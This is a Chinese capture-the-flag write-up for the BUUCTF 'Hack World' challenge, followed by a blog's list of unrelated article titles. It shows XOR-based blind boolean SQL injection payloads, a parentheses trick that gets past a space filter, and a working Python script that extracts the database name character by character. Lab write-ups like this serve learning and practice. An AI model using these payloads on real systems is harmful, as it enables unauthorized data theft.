BUUCTF Hack World
有返回 ,基于布尔得盲注
这里用到异或注入(个人喜欢这样用)
1^0 返回 Hello, glzjin wants a girlfriend.
1^1 返回 Error Occured When Fetch Result.
(1)^(length(database())>11) 根据返回得到后面语句为假,但是>10返回真,数据库长度为11
上脚本
import requests
import string
str=string.ascii_lowercase+string.ascii_uppercase+string.digits+'!@#$%^&*()_+'
url='http://5f73bc57-8da1-4611-8994-3e7796120777.node3.buuoj.cn/index.php'
db_name=''
flag="Error Occured When Fetch Result."
for i in range(1,12):
for str1 in str:
data="(1)^(substr(database(),%d,1)='%s')"%(i,str1)
key={'id':data}
r=requests.post(url,data=key).text
if flag in r:
db_name=db_name+str1
print(db_name+" is")
break
else:
print(str1+" is not")
表名和列名题目都有提示都是flag
但是在跑长度是发现有些被过滤了
字母+'空格'+字母 被过滤
这里直接用()去绕过
(1)^(length((select(flag)from(ctftraining.flag)))>42)得到表厂为42
然后只需要将上面脚本 data换一下就好了
跑出答案 看kk师傅wp说好多都被过滤了 没去尝试,我也不知道那些被过滤,只知道空格加字母,主要是因为这道题直接告诉了表名和列名
最新文章
- Qt qml pageview 左右滑动分页组件
- 【Python扩展阅读【转】EasyGui 学习文档【超详细中文版】】
- jQuery绑定以及解除时间方法总结,以及事件触发的方法
- Hibernate validation 注解 springmvc 验证 分组
- 引擎设计跟踪(九.14.2d) [翻译] shader的跨平台方案之2014
- 【Linux/Ubuntu学习 7】E: 无法获得锁 /var/lib/dpkg/lock – open (11: 资源暂时不可用) E: 无法锁定管理目录
- PHP学习笔记——PHP脚本和JAVA连接mysql数据库
- 解决Jenkins上git出现Timeout的问题
- 项目总结之SSI (一)
- jQuery格式化时间插件formatDate
- 一个初学者的辛酸路程-了解Python-2
- 网页的居中显示,使用了margin、clear:both
- 利用Caffe训练模型(solver、deploy、train_val)+python使用已训练模型
- spark算子
- POM文件详解(2)
- Kali学习笔记38:文件上传漏洞
- GSP事件探查器 无法进行跟踪的解决办法(场景之一)
- MySQL篇,第四章:数据库知识4
- Java 分割、合并byte数组
- char *s 和char s[]的区别
热门文章
- Netty高性能组件——FastThreadLocal源码解析(细微处见真章)
- linux 添加用户并设置主目录,shell 并赋予权限 (以 fedora 和 ubuntu 为例)
- XGBoost、LightGBM参数讲解及实战
- 1.Python网络编程_UDP(简略版)
- selenium截取元素
- unittest,requests,assertEqual实战演练
- C++中的异常处理(上)
- 二,java框架学习
- linux下C/C++编译时系统搜索 include 和 链接库 文件路径的指定
- android appium微信等自动化的那些坑儿